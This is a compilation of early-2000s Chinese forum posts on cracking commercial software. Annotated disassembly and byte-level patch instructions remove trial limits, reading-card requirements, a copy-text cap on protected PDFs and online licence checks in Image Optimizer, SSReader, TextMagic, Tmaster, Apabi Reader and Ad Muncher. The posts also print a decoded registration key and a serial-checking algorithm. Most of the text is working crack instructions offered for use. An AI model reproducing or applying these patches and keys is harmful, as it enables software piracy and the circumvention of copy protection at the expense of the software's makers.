:004011E5 51 push ecx
:004011E6 E8105E0B00 call 004B6FFB
:004011EB 8B542418 mov edx, dword ptr [esp+18]
:004011EF 83C408 add esp, 00000008
:004011F2 8D8ED4000000 lea ecx, dword ptr [esi+000000D4]
:004011F8 52 push edx
:004011F9 E85AC60B00 call 004BD858
:004011FE 8D442410 lea eax, dword ptr [esp+10]

* Possible Reference to String Resource ID=40024: "Thank you for choosing to evaluate Image Optimizer Professio"
|
:00401202 68589C0000 push 00009C58
:00401207 50 push eax
:00401208 E8EE5D0B00 call 004B6FFB
:0040120D 83C408 add esp, 00000008
:00401210 E970010000 jmp 00401385

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011DA(C)
|
:00401215 A190B15200 mov eax, dword ptr [0052B190]
:0040121A 3DC35A42A3 cmp eax, A3425AC3
:0040121F 0F841C010000 je 00401341
:00401225 3DF35E43AB cmp eax, AB435EF3
:0040122A 7477 je 004012A3
:0040122C 3D6DE15404 cmp eax, 0454E16D
:00401231 0F855E010000 jne 00401395
:00401237 391D84B15200 cmp dword ptr [0052B184], ebx
:0040123D 740C je 0040124B
:0040123F 8D542410 lea edx, dword ptr [esp+10]

* Possible Reference to String Resource ID=40068: "This is the full registered version of Image Optimizer Profe"
|
:00401243 68849C0000 push 00009C84
:00401248 52 push edx
:00401249 EB0A jmp 00401255

///////////////////////////////////////////////////////////////////////////////////////
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041A289(U), :0041A33B(U), :0041A389(U), :0041A411(C) <--KEY
|
:0041A41D 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041A2C0(U), :0041A306(U)
|
:0041A41F 2BC5 sub eax, ebp <--EAX==2 ; EBP==0; EBX==1
:0041A421 0F849F000000 je 0041A4C6
:0041A427 48 dec eax
:0041A428 740F je 0041A439
:0041A42A 48 dec eax
:0041A42B 0F8559010000 jne 0041A58A
:0041A431 891DF8B05200 mov dword ptr [0052B0F8], ebx
:0041A437 EB06 jmp 0041A43F

///////////////////////////////////////////////////////////////////////////////////////
:0041A0E0 8B41F8 mov eax, dword ptr [ecx-08]
:0041A0E3 83F808 cmp eax, 00000008
:0041A0E6 757B jne 0041A163 是否为8位
:0041A0E8 8A01 mov al, byte ptr [ecx]

///////////////////////////////////////////////////////////////////////////////////////
709fyfbc 标准版
4A XOR 7D==7 ->7
B7 XOR 87==30 ->0
C3 XOR FA==39 ->9
AC XOR CA==66 ->f
F6 XOR 8F==79 ->y
FA XOR 9C==66 ->f
3C XOR 5E==62 ->b
1F XOR 7C==63 ->c

说明:
地址一 52B184 旗标之一 1--为peofessional 0--为nonprofessional
地址二 52B0F8 旗标之二 1--为UNregisteR 0--为Register hahahahahaha 特别吗??????
EAX 旗标之三 0--Register 1--professional 2--dome professional
1.程序先判断版本 professional 不予注册 非professional才舆注册
:0043BA07 E8492A0800 call 004BE455 <--判断 1 小弟功力不足没找到专业版与
<--非专业版的定位???请高手指点
:0043BA0C 8B442414 mov eax, dword ptr [esp+14]
:0043BA10 3968F8 cmp dword ptr [eax-08], ebp
:0043BA13 743B je 0043BA50

* Possible StringData Ref from Data Obj ->"-professional"
|
:0043BA15 6834185200 push 00521834 <--判断 2 功力不足;请高手指点
:0043BA1A 8D4C2418 lea ecx, dword ptr [esp+18]
:0043BA1E E83FB20700 call 004B6C62
:0043BA23 83F8FF cmp eax, FFFFFFFF
:0043BA26 7428 je 0043BA50
:0043BA28 6A0D push 0000000D
:0043BA2A 50 push eax
:0043BA2B 8D4C241C lea ecx, dword ptr [esp+1C]
:0043BA2F C70584B1520001000000 mov dword ptr [0052B184], 00000001
:0043BA39 E838AE0700 call 004B6876
:0043BA3E 8D4C2414 lea ecx, dword ptr [esp+14]
:0043BA42 E849B60700 call 004B7090
:0043BA47 8D4C2414 lea ecx, dword ptr [esp+14]
:0043BA4B E8F4B50700 call 004B7044
2.注册
:0041A17F A184B15200 mov eax, dword ptr [0052B184]
:0041A184 C68424D401000008 mov byte ptr [esp+000001D4], 08
:0041A18C 3BC5 cmp eax, ebp
:0041A18E 0F85FA000000 jne 0041A28E <--professional No Register
:0041A194 8B842484010000 mov eax, dword ptr [esp+00000184]
:0041A19B 8378F808 cmp dword ptr [eax-08], 00000008 <--Number of Register
:0041A19F 0F8566010000 jne 0041A30B
:0041A1A5 8A08 mov cl, byte ptr [eax] <--|calculate 7
:0041A1A7 80F14A xor cl, 4A |
:0041A1AA 80F97D cmp cl, 7D |
:0041A1AD 0F8558010000 jne 0041A30B |
:0041A1B3 8A4801 mov cl, byte ptr [eax+01] | 0
:0041A1B6 80F1B7 xor cl, B7 |
:0041A1B9 80F987 cmp cl, 87 |
:0041A1BC 0F8549010000 jne 0041A30B |
:0041A1C2 8A4802 mov cl, byte ptr [eax+02] | 9
:0041A1C5 80F1C3 xor cl, C3 |
:0041A1C8 80F9FA cmp cl, FA |
:0041A1CB 0F853A010000 jne 0041A30B |
:0041A1D1 8A4803 mov cl, byte ptr [eax+03] | f
:0041A1D4 80F1AC xor cl, AC |
:0041A1D7 80F9CA cmp cl, CA |
:0041A1DA 0F852B010000 jne 0041A30B |
:0041A1E0 8A4804 mov cl, byte ptr [eax+04] | y
:0041A1E3 80F1F6 xor cl, F6 |
:0041A1E6 80F98F cmp cl, 8F |
:0041A1E9 0F851C010000 jne 0041A30B |
:0041A1EF 8A4805 mov cl, byte ptr [eax+05] | f
:0041A1F2 80F1FA xor cl, FA |
:0041A1F5 80F99C cmp cl, 9C |
:0041A1F8 0F850D010000 jne 0041A30B |
:0041A1FE 8A4806 mov cl, byte ptr [eax+06] | b
:0041A201 80F13C xor cl, 3C |
:0041A204 80F95E cmp cl, 5E |
:0041A207 0F85FE000000 jne 0041A30B |
:0041A20D 8A4007 mov al, byte ptr [eax+07] | c
:0041A210 341F xor al, 1F |
:0041A212 3C7C cmp al, 7C |
:0041A214 0F85F1000000 jne 0041A30B <--|
这个程序不太难可是费了我一天的时间,概说的都说了,不止大家明白否?

标 题:标准版变专业版 (3千字)
发信人:abcde-12345
时 间:2001-11-5 19:20:22
详细信息:

秘籍!!!!
标准版变专业版!!!!!!
method 1
:0041A17F A184B15200 mov eax, dword ptr [0052B184]
:0041A184 C68424D401000008 mov byte ptr [esp+000001D4], 08
:0041A18C 3BC5 cmp eax, ebp
:0041A18E 0F85FA000000 jne 0041A28E <--je 0041A28E
:0041A194 8B842484010000 mov eax, dword ptr [esp+00000184]

:0041A28E 83EC08 sub esp, 00000008
:0041A291 8D84249C010000 lea eax, dword ptr [esp+0000019C]
:0041A298 8BCC mov ecx, esp
:0041A29A 89642420 mov dword ptr [esp+20], esp
:0041A29E 50 push eax
:0041A29F C70590B152006DE15404 mov dword ptr [0052B190], 0454E16D
:0041A2A9 E8D2E5FFFF call 00418880
:0041A2AE 8D8C2490010000 lea ecx, dword ptr [esp+00000190]
:0041A2B5 E8A6E4FFFF call 00418760
:0041A2BA 3BC5 cmp eax, ebp
:0041A2BC 7507 jne 0041A2C5 <--nop nop
:0041A2BE 8BC3 mov eax, ebx
:0041A2C0 E95A010000 jmp 0041A41F
但是"关于中未注明为专业版"

method 2
如何打造一个"完全的专业版"所谓完全的专业版仅指"关于中显示为 professional"功能与第一种相同
:0043BA07 E8492A0800 call 004BE455
:0043BA0C 8B442414 mov eax, dword ptr [esp+14]
:0043BA10 3968F8 cmp dword ptr [eax-08], ebp
:0043BA13 743B je 0043BA50 <-|-je 0043BA28
|
* Possible StringData Ref from Data Obj ->"-professional" <-|-LOOK!!!!!!!
| |
:0043BA15 6834185200 push 00521834 |
:0043BA1A 8D4C2418 lea ecx, dword ptr [esp+18] |
:0043BA1E E83FB20700 call 004B6C62 |
:0043BA23 83F8FF cmp eax, FFFFFFFF |
:0043BA26 7428 je 0043BA50 |
:0043BA28 6A0D push 0000000D <-|-
:0043BA2A 50 push eax
:0043BA2B 8D4C241C lea ecx, dword ptr [esp+1C]
:0043BA2F C70584B1520001000000 mov dword ptr [0052B184], 00000001 <--FLAG
:0043BA39 E838AE0700 call 004B6876
:0043BA3E 8D4C2414 lea ecx, dword ptr [esp+14]
:0043BA42 E849B60700 call 004B7090
:0043BA47 8D4C2414 lea ecx, dword ptr [esp+14]
:0043BA4B E8F4B50700 call 004B7044
...............................................................................
:0041A28E 83EC08 sub esp, 00000008
:0041A291 8D84249C010000 lea eax, dword ptr [esp+0000019C]
:0041A298 8BCC mov ecx, esp
:0041A29A 89642420 mov dword ptr [esp+20], esp
:0041A29E 50 push eax
:0041A29F C70590B152006DE15404 mov dword ptr [0052B190], 0454E16D
:0041A2A9 E8D2E5FFFF call 00418880
:0041A2AE 8D8C2490010000 lea ecx, dword ptr [esp+00000190]
:0041A2B5 E8A6E4FFFF call 00418760
:0041A2BA 3BC5 cmp eax, ebp
:0041A2BC 7507 jne 0041A2C5 <--nop nop
:0041A2BE 8BC3 mov eax, ebx
:0041A2C0 E95A010000 jmp 0041A41F

说明见上一篇


ssreader 360

 标 题:ssreader 360正式版 完美破解版本 (3千字)
发信人:741106
时 间:2002-1-6 9:32:14
详细信息:
ssreader 360正式版 完美破解版本

按如下方法修改,可不用读书卡,

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C451(C)
|
:0040C46E 6A24 push 00000024 -----> 改成 jmp 40c498

* Possible StringData Ref from Data Obj ->"提示"
|
:0040C470 68C9D55600 push 0056D5C9

* Possible StringData Ref from Data Obj ->"专为读书卡会员服务，请进行读书卡注册。
是否现?
->"谧⒉幔?
|
:0040C475 6893D55600 push 0056D593
:0040C47A 8B45A8 mov eax, dword ptr [ebp-58]
:0040C47D E856FE1000 call 0051C2D8
:0040C482 50 push eax
:0040C483 E816F41500 call 0056B89E `USER32!MessageBoxA`
:0040C488 83F806 cmp eax, 00000006
:0040C48B 750B jne 0040C498
:0040C48D 8B55A8 mov edx, dword ptr [ebp-58]
:0040C490 8B45A8 mov eax, dword ptr [ebp-58]
:0040C493 E888E4FFFF call 0040A920

0167:0041F912 0F84A4000000 JZ NEAR 0041F9BC -----------------> 此行必须跳走才行，改成下面两行
0167:0041F912 E9A5000000 JMP 0041F9BC <---- 上面一行要改成这样
0167:0041F917 90 NOP
0167:0041F918 8B0D1C015A00 MOV ECX,[005A011C]
0167:0041F91E 8B01 MOV EAX,[ECX]
0167:0041F920 E80FCBFEFF CALL 0040C434
0167:0041F925 84C0 TEST AL,AL
0167:0041F927 0F858F000000 JNZ NEAR 0041F9BC
0167:0041F92D FF4DD8 DEC DWORD [EBP-28]
0167:0041F930 8D45F8 LEA EAX,[EBP-08]
0167:0041F912 E9A5000000 JMP 0041F9BC
0167:0041F917 90 NOP

0167:0040B770 E8BF0C0000 CALL 0040C434
0167:0040B775 84C0 TEST AL,AL
0167:0040B777 740E JZ 0040B787 -------------------> 改成nop
0167:0040B779 B001 MOV AL,01
0167:0040B77B 8B55D4 MOV EDX,[EBP-2C]
0167:0040B77E 64891500000000 MOV [FS:00],EDX
0167:0040B785 EB0C JMP SHORT 0040B793
0167:0040B787 33C0 XOR EAX,EAX
0167:0040B789 8B55D4 MOV EDX,[EBP-2C]
0167:0040B78C 64891500000000 MOV [FS:00],EDX

pdg2.dll 文字识别限制的解除

可进行整页文字识别.

:1000C067 89550C mov dword ptr [ebp+0C], edx
:1000C06A 53 push ebx
:1000C06B E88F6C0200 call 10032CFF
:1000C070 59 pop ecx
:1000C071 59 pop ecx
:1000C072 8B4D0C mov ecx, dword ptr [ebp+0C]
:1000C075 6A04 push 00000004 ----------------->改成push 1 (6a04 改成6a01)
:1000C077 0FAFC8 imul ecx, eax
:1000C07A 8B45FC mov eax, dword ptr [ebp-04]
:1000C07D 5B pop ebx
:1000C07E 0FAF45F8 imul eax, dword ptr [ebp-08]
:1000C082 99 cdq
:1000C083 F7FB idiv ebx
:1000C085 3BC8 cmp ecx, eax
:1000C087 7E6F jle 1000C0F8
:1000C089 8B86CC1E0000 mov eax, dword ptr [esi+00001ECC]

就这样,把上面几处修改之后用用看,爽吧!

我希望大家只是自己悄悄使用就是了,别大面积扩散,因为我们应该感谢超星公司,它给我们提供了一个非常丰富的资料宝库!所以,
让那些有钱的人支持一下次超星公司吧!你认为呢？

有问题请与我联系:wjt@sina.com


TextMagic V1.0

 标 题:还是自己来吧?---解除TextMagic V1.0 存盘6个文字限制 (3千字)
发信人:wlq joseph
时 间:2001-10-26 0:25:20
详细信息:
Software:TextMagic Version 1.0 (1.67MB)

Tool: trw2000,w32dasm89 & hiew32

http://www.alwaysu.net/software/web/texiao/textmagic%20%20en.exe

求人指点有感:
近日在本论坛发帖求人指点TextMagic Version 1.0 存盘6个文字限制,没有得到响应.
有个别朋友极不耐烦,令我感慨万千:世界上真没有救世主,一切要靠我们自己.

procedures:

1.首先运行trw2000,在存盘前用bpx hmemcpy 设断点,找到TextMagic V1.0 存盘6个文字限制的提示框
的位址:

:0040AF26 CALL 0043C3D6------执行此call 则弹出存盘6个文字限制的提示框.

!!!!!注:这个软件在trw2000环境下和在w32dasm89环境下RVA相同.

2.运行W32dasm89反汇编TextMagic.exe ,点击find text,填入 "Warning: This is a trial version of Textmagic",
来到这里.

!!!!(为什么不直接在W32dasm89的字符串参考里寻找上述内容呢?----因为找不到.)

* Possible Reference to String Resource ID=61478: "Warning: This is a trial version of Textmagic. Trial version"
|
:0040AF1D 6826F00000 push 0000F026
:0040AF22 C645FC05 mov [ebp-04], 05
:0040AF26 E8AB140300 call 0043C3D6
:0040AF2B 8D83BA020000 lea eax, dword ptr [ebx+000002BA]
:0040AF31 50 push eax
:0040AF32 E879FD0000 call 0041ACB0
:0040AF37 83F806 cmp eax, 00000006
!!!!!!!!!!!!!!!!! ----这儿的00000006是什么意思?
难道说它就是 6个文字限制的标志?
:0040AF3A 59 pop ecx
:0040AF3B 7605 jbe 0040AF42
a33bh(内存地址) !!!!!!!!!!!!!!-----------试着把jbe 改为jmp

:0040AF3D 6A06 push 00000006
:0040AF3F 58 pop eax
a340h
:0040AF40 EB0D jmp 0040AF4F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040AF3B(C)
|
:0040AF42 8D83BA020000 lea eax, dword ptr [ebx+000002BA]
:0040AF48 50 push eax
:0040AF49 E862FD0000 call 0041ACB0
:0040AF4E 59 pop ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040AF40(U)
|
:0040AF4F 50 push eax
:0040AF50 8B4DDC mov ecx, dword ptr [ebp-24]
:0040AF53 8D83BA020000 lea eax, dword ptr [ebx+000002BA]
:0040AF59 50 push eax
:0040AF5A 8D45B0 lea eax, dword ptr [ebp-50]
:0040AF5D FF75E8 push [ebp-18]
:0040AF60 50 push eax
:0040AF61 E89898FFFF call 004047FE
:0040AF66 8BCF mov ecx, edi
:0040AF68 E8AEA6FFFF call 0040561B
:0040AF6D 668B4704 mov ax, word ptr [edi+04]
:0040AF71 668B7F06 mov di, word ptr [edi+06]
:0040AF75 663BC6 cmp ax, si
:0040AF78 7E05 jle 0040AF7F
:0040AF7A 0FBFC0 movsx eax, ax
:0040AF7D EB02 jmp 0040AF81

3.用hiew32把
:0040AF3B 7605 jbe 0040AF42

改为:

:0040AF3B 7605 jmp 0040AF42

4.运行TextMagic Trial Version 1.0 ,制作18个文字,然后存盘,结果大功告成.

困扰我多日的难题,终于告破.


Tmaster6.0

 标 题:Tmaster6.0 破解（我的第一篇灌水） (4千字)
发信人:六根山人
时 间:2001-10-4 19:14:10
详细信息:
Tmaster6.0 是一个指法练习软件，在http://software.wx88.net/down/typm2002.exe可以下栽。或到http://www.typingmaster.com/其公司主页
下栽。目前这个试用DEMO版本要授权文件，可以变成正式版。
DEMO版只能用到第四课。

工具：Trw2001.22
Uledit 7.0
wdasm
进入程序后，直接学习第四课弹出对话框，告诉你是DEMO版，不能用，请购买之类的
好，切入TRW，下断点
BPX MESSAGEBOXA
返回程序，要求学习第五课，程序被中断，

* Reference To: user32.MessageBoxA, Ord:0000h
|
:0044B6B6 E821B7FBFF Call 00406DDC <==在此处中断调用MessageBoxA
:0044B6BB 8945F8 mov dword ptr [ebp-08], eax
:0044B6BE 33C0 xor eax, eax
:0044B6C0 5A pop edx
:0044B6C1 59 pop ecx
一直按F10直到TMASTER窗口再次显示，再点第五课的练习，回到TRW2000的界面如下：
:004B82AA FF5218 call [edx+18] <==控制命令传送给WINDOWS
:004B82AD 8BF8 mov edi, eax
:004B82AF 8B8630010000 mov eax, dword ptr [esi+00000130]
:004B82B5 8945F8 mov dword ptr [ebp-08], eax
:004B82B8 8BC6 mov eax, esi
:004B82BA E861ADF4FF call 00403020
:004B82BF 837DF800 cmp dword ptr [ebp-08], 00000000
:004B82C3 7507 jne 004B82CC
:004B82C5 BF03000000 mov edi, 00000003
:004B82CA EB0F jmp 004B82DB
一直按F10到这里：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B8368(C)
|
:004B8373 A140BC4D00 mov eax, dword ptr [004DBC40]
:004B8378 8B00 mov eax, dword ptr [eax]
:004B837A 83780C00 cmp dword ptr [eax+0C], 00000000 此处比较，当eax+0c地址处为0表示为试用版
:004B837E 750B jne 004B838B <==跳到正确的地址。
:004B8380 8BC3 mov eax, ebx
:004B8382 E855FCFFFF call 004B7FDC <==显示为试用版信息。
:004B8387 8BF8 mov edi, eax
:004B8389 EB0C jmp 004B8397
在:004B837A行可以看到[eax+0C]的地址为00d56d84, 即在内存00d56d84处放的是是否试用版标志。

下断点BPM 00D56D84 RW
重新运行Tmaster6.0 ，程序被拦住

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402FC0(U)
|
:0040302C 53 push ebx
:0040302D 56 push esi
:0040302E 57 push edi
:0040302F 89C3 mov ebx, eax
:00403031 89D7 mov edi, edx
:00403033 AB stosd
:00403034 8B4BD8 mov ecx, dword ptr [ebx-28]
:00403037 31C0 xor eax, eax
:00403039 51 push ecx
:0040303A C1E902 shr ecx, 02
:0040303D 49 dec ecx
:0040303E F3 repz
:0040303F AB stosd 光标停在此处，此时将EAX改为1，发现变成正式版
:00403040 59 pop ecx
:00403041 83E103 and ecx, 00000003
这是调用DLL文件的，该模块要调用很多次，不能在这里改，否则程序将出错。
绝续按CTRL-N，回到Tmaster6.0，出现用户登陆，点OK后程序又被拦住住。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D45DF(C)
|
:004D4660 A140BC4D00 mov eax, dword ptr [004DBC40]
:004D4665 8B00 mov eax, dword ptr [eax]
:004D4667 83780C00 cmp dword ptr [eax+0C], 00000000 <==此处判断，当eax+0c地址处为0表示为试用版
:004D466B 7E16 jle 004D4683
:004D466D A100BC4D00 mov eax, dword ptr [004DBC00]
:004D4672 8B00 mov eax, dword ptr [eax]
:004D4674 57 push edi
:004D4675 8DB810020000 lea edi, dword ptr [eax+00000210]
:004D467B BE8C4C4D00 mov esi, 004D4C8C
:004D4680 A5 movsd
:004D4681 A4 movsb
:004D4682 5F pop edi
这是程序初始化，若[eax+0C]不为零，将不出现DEMO版字样。

为了将当eax+0c地址处改为0，将上面的部分代码改为如下
改为：
0167:004D4667 57 PUSH EDI
0167:004D4668 040C ADD AL,0C
0167:004D466A 89C7 MOV EDI,EAX
0167:004D466C B001 MOV AL,01
0167:004D466E AA STOSB <==把[eax+0C]地址处的值改为01，表示正式版
0167:004D466F 89F8 MOV EAX,EDI
0167:004D4671 5F POP EDI
0167:004D4672 90 NOP <==多的地方用空填补
0167:004D4673 90 NOP <==多的地方用空填补
0167:004D4674 57 push edi
0167:004D4675 8DB810020000 lea edi, dword ptr [eax+00000210]
将上面的机器玛抄下，在ULEDIT中修改，即可得到正式版。


方正Apabi Reader阅读器 1.0c

 标 题:方正Apabi Reader多文档格式阅读器拷贝文字限制解除 (4千字)
发信人:fwnl
时 间:2002-2-28 9:58:53
详细信息:
方正Apabi Reader多文档格式阅读器拷贝文字限制解除
程序版本:1.0c补丁版 build 1037
软件下载:http://www.apabi.com/download/readerDL.htm
Crack by fwnl
工具:TRW2000 WINHEX
软件说明:一个可以阅读CEB,PDF,TXT,HTML的阅读器，最用之处就是看PDF文档可用金山词霸抓词
和可以拷贝加了防拷贝密码保护的PDF文档.
但是每次只能拷64个字，真是太少了，恰好我要把一个加了防拷密码的PDF文档里的内容拷出来，在网
上找了好久才发现只有这个东西可以办到，哈哈，所以解其限制就是我下面要做的事了

每当选取超过64个字拷贝时就弹出警告对话框，所以从这个对话框下手.
用TRW2000 load主程序，F5返回后用Apabi Reader随便打开一段超过64个字的文字，全部选定文字后,
Ctrl+N叫出TRw2000后bpx lockmytask,按F5返回, 按右键选拷贝文字,程序中断后bd *关闭断点.
按一下f11, 然后不断按f12直到警告窗口出现.
点0k就到了Trw2000的画面，这时看一下程序发现41b66f可能是警告对话框call,于是设断41b66f后，
F5返回主程序，又选取全文，然后右键点拷贝文字，程序立刻断在41b66f.

0167:0041B668 PUSH ECX
0167:0041B669 MOV ECX,[EBP+FFFFFF2C]
0167:0041B66F CALL 0041B8E9 ===========警告对话框CALL，F8进入
0167:0041B674 MOV DWORD [EBP-04],FFFFFFFF
0167:0041B67B LEA ECX,[EBP+FFFFFF34]
0167:0041B681 CALL 0042AB68
0167:0041B686 MOV ECX,[EBP-0C]
0167:0041B689 MOV [FS:00],ECX
0167:0041B690 MOV ESP,EBP
0167:0041B692 POP EBP ==========点警告对话框上的OK后，光标所在地
0167:0041B693 RET 04
0167:0041B696 PUSH EBP
0167:0041B697 MOV EBP,ESP
0167:0041B699 SUB ESP,BYTE +14

进入 0041B66F CALL 后来到

0167:0041B923 MOV ECX,[EBP-04]
0167:0041B926 PUSH ECX
0167:0041B927 MOV ECX,[EBP-08]
0167:0041B92A CALL 0041B943 ===========警告对话框CALL，F8进入
0167:0041B92F JMP SHORT 0041B93D
0167:0041B931 MOV EDX,[EBP-04]
0167:0041B934 PUSH EDX
0167:0041B935 MOV ECX,[EBP-08]
0167:0041B938 CALL 0041C36D

进入 0041B92A CALL 后来到

0167:0041B9E3 MOV [EBP-38],EAX
0167:0041B9E6 MOV EAX,[EBP-38]
0167:0041B9E9 MOV EDX,[EAX]
0167:0041B9EB MOV ECX,[EBP-38]
0167:0041B9EE CALL NEAR [EDX+0C] ===========警告对话框CALL，F8进入
0167:0041B9F1 MOV [EBP-18],EAX
0167:0041B9F4 CMP DWORD [EBP-18],BYTE +00
0167:0041B9F8 JNZ 0041BA15
0167:0041B9FA MOV DWORD [EBP-24],01
0167:0041BA01 MOV DWORD [EBP-04],FFFFFFFF
0167:0041BA08 LEA ECX,[EBP-20]
0167:0041BA0B CALL 0041CC60

进0041B9EE CALL 后来到
不久发现到了SmartReader.dll里

0167:02879745 CALL 0287551B
0167:0287974A JMP SHORT 02879764
0167:0287974C MOV ECX,[EBP-0C]
0167:0287974F SUB ECX,BYTE +18
0167:02879752 CALL 0287656D ===========警告对话框CALL，F8进入
0167:02879757 JMP SHORT 02879764
0167:02879759 MOV ECX,[EBP-0C]
0167:0287975C SUB ECX,BYTE +18
0167:0287975F CALL 028727FC
0167:02879764 PUSH BYTE +00
0167:02879766 PUSH BYTE +00
0167:02879768 LEA ECX,[EBP-08]

进0167:02879752 CALL 后来到

0167:02876625 MOV ECX,[028A4AB8]
0167:0287662B CALL NEAR [EDX+34]
0167:0287662E CMP DWORD [EBP-30],80 //发现宝藏了(16进制的80不是64吗,原来在这里比字数)
0167:02876635 JNG 02876682 如里这里跳就解除了限制
0167:02876637 LEA ECX,[EBP-38]
0167:0287663A CALL 02871A90
0167:0287663F MOV DWORD [EBP-04],00
0167:02876646 PUSH DWORD 7531
0167:0287664B LEA ECX,[EBP-38]
0167:0287664E CALL 02892B5D
0167:02876653 PUSH BYTE +00

code on 发现0287662e处代码是 7E4B,要它跳就改成EB4b，由于这段代码是在SmartReader.dll里
于是用winhex在Apabi Reader的安装目录下找到SmartReader.dll打开,查FF5234817DD0800000007E4B
改FF5234817DD080000000EB4B
这样就解除了拷贝文字64个的限制,不过拷出来的东西最好复制在写字板，不要用记事本.

不知有没有比这个更好的读PDF的东西，如果谁知道请告诉我一声,不要说Adobe Acrobat哟，这个
东太烂了，限制太多，连金山词霸抓词都不行，在精华3看到一篇文章说可以改Adobe Acrobat，可我看
了X*N次也没看懂.那位知道改的大侠一定要告诉我一下(fwnl@sina.com)，先谢谢了。

****** *** fwnl
*** ** 2002.2.20
******** **** ** *** ****** ** 长沙
** *** * ** ** ** **
*** ******* *** ** ***
** ** ** ** *** ****
*** fwnl

标 题:80h=128,unicode 是双字节的，所以是64。 (空)
发信人:真.hp
时 间:2002-2-28 14:38:19
详细信息:


Ad Muncher V4.3d

 标 题:注册机制分析： (1千字)
发信人:Fpc
时 间:2001-11-19 12:21:36
详细信息:
Ad Muncher V4.3d
http://www.admuncher.com/download.shtml
regged by Fpc/CCG&BCG

tools: TRW NYDoll/CCG汉化版

0167:0057C4D9 MOV EDI,005D487B <- 这个地址是输入的注册码
0167:0057C4DE MOV AL,2D
0167:0057C4E0 MOV ECX,14
0167:0057C4E5 REPNE SCASB <- 检查有没有'-'
0167:0057C4E7 JNZ NEAR 0057C5D3 <- 没有则失败，跳下去。有则继续

0167:0057C4ED MOV BYTE [EDI-01],00
0167:0057C4F1 PUSH EDI <- ***
0167:0057C4F2 MOV EDI,10
0167:0057C4F7 MOV ESI,005D487B
0167:0057C4FC CALL 0057CCB2 <- 将'-'前面的部分string->Hex，到eax

0167:0057C501 MOV EBX,EAX <- 保存到ebx

0167:0057C503 MOV ESI,005D477B <- 这里是指向名字的
0167:0057C508 XOR ECX,ECX
0167:0057C50A XOR EAX,EAX

0167:0057C50C LODSB
0167:0057C50D ADD ECX,EAX
0167:0057C50F ROR ECX,08
0167:0057C512 ADD ECX,EBX
0167:0057C514 CMP AL,00
0167:0057C516 JNZ 0057C50C <- 上面这个小循环将名字与注册码前一部分混合运算

0167:0057C518 NOT ECX <- 取反

0167:0057C51A POP ESI <- ***

0167:0057C51B PUSH ECX
0167:0057C51C MOV EDI,10
0167:0057C521 CALL 0057CCB2 <- 将'-'后面的部分string->Hex，到eax

0167:0057C526 POP ECX
0167:0057C527 CMP ECX,EAX <- 这里是关键的比较啦
0167:0057C529 JNZ NEAR 0057C5D3

标 题:网上校验部分的解除。 (17千字)
发信人:Fpc
时 间:2001-11-20 14:31:31
详细信息:

(网上校验的解除)
by Fpc/CCG

在联网状态下，如果你注册后反复关闭和运行几次，它会出现一个消息框，说你的帐户不正确，请与作者联系，如果不联系呢，只有自己解决了~~

首先这部分代码是在admunch.dll中，upx 1.20加的壳，用upx可脱掉，并且需要把这个文件另存一份为admunch.old。

设断点：messageboxa。拦下后F12返回在这里:

:0040774E FF0579C54100 inc dword ptr [0041C579]
:00407754 E844FBFFFF call 0040729D
:00407759 E960010000 jmp 004078BE

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004075C6(C)
|
:0040775E 833D79C5410002 cmp dword ptr [0041C579], 00000002
:00407765 0F8553010000 jne 004078BE
:0040776B 803DA6544A0000 cmp byte ptr [004A54A6], 00
:00407772 0F8621010000 jbe 00407899
:00407778 8B3595544A00 mov esi, dword ptr [004A5495]
:0040777E 813E45525220 cmp dword ptr [esi], 20525245
:00407784 755F jne 004077E5
:00407786 833D89544A0000 cmp dword ptr [004A5489], 00000000
:0040778D 7656 jbe 004077E5
:0040778F 83C604 add esi, 00000004
:00407792 8B3D9D544A00 mov edi, dword ptr [004A549D]
:00407798 C60700 mov byte ptr [edi], 00
:0040779B B86E153250 mov eax, 5032156E
:004077A0 050FB00FB0 add eax, B00FB00F
:004077A5 6A00 push 00000000
:004077A7 50 push eax
:004077A8 56 push esi
:004077A9 FF7508 push [ebp+08]
:004077AC 6A5C push 0000005C
:004077AE E85DF8FFFF call 00407010 <-
:004077B3 C605A83E440000 mov byte ptr [00443EA8], 00 <- 返回处
:004077BA B890413250 mov eax, 50324190
:004077BF 050FB00FB0 add eax, B00FB00F

* Possible Reference to Dialog: DialogID_0001
|
:004077C4 6A01 push 00000001
:004077C6 68A83E4400 push 00443EA8

* Possible Reference to Dialog: DialogID_0001
|
:004077CB 6A01 push 00000001
:004077CD 6A00 push 00000000
:004077CF 50 push eax
:004077D0 FF357B494600 push dword ptr [0046497B]
:004077D6 68D4000000 push 000000D4
:004077DB E830F8FFFF call 00407010 <- 还是调用这个call，不过不显示消息框了
:004077E0 E9B4000000 jmp 00407899

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00407784(C), :0040778D(C)
|
:004077E5 803DCFFB410001 cmp byte ptr [0041FBCF], 01
:004077EC 7505 jne 004077F3
:004077EE E9A6000000 jmp 00407899

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004077EC(C)
|
:004077F3 8B06 mov eax, dword ptr [esi]
:004077F5 034604 add eax, dword ptr [esi+04]
:004077F8 034608 add eax, dword ptr [esi+08]
:004077FB 03460C add eax, dword ptr [esi+0C]

好的，在显示消息框之前的代码处设下断点，重新进行注册。再次拦下后，跟进那个call，可见到作者是聪明的：

* Referenced by a CALL at Addresses:
|:00401182 , :00401191 , :004011D6 , :004011E2 , :004011F1
... ... 这样的调用有几百处之多，为什么？

|:0040CD90
|

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C730(U)
|
:00407010 59 pop ecx
:00407011 58 pop eax
:00407012 51 push ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407025(U)
|
:00407013 833D98364A0000 cmp dword ptr [004A3698], 00000000
:0040701A 750B jne 00407027
:0040701C 60 pushad
:0040701D 6A64 push 00000064

* Reference To: KERNEL32.Sleep, Ord:0000h
|
:0040701F E8245E0000 Call 0040CE48
:00407024 61 popad
:00407025 EBEC jmp 00407013

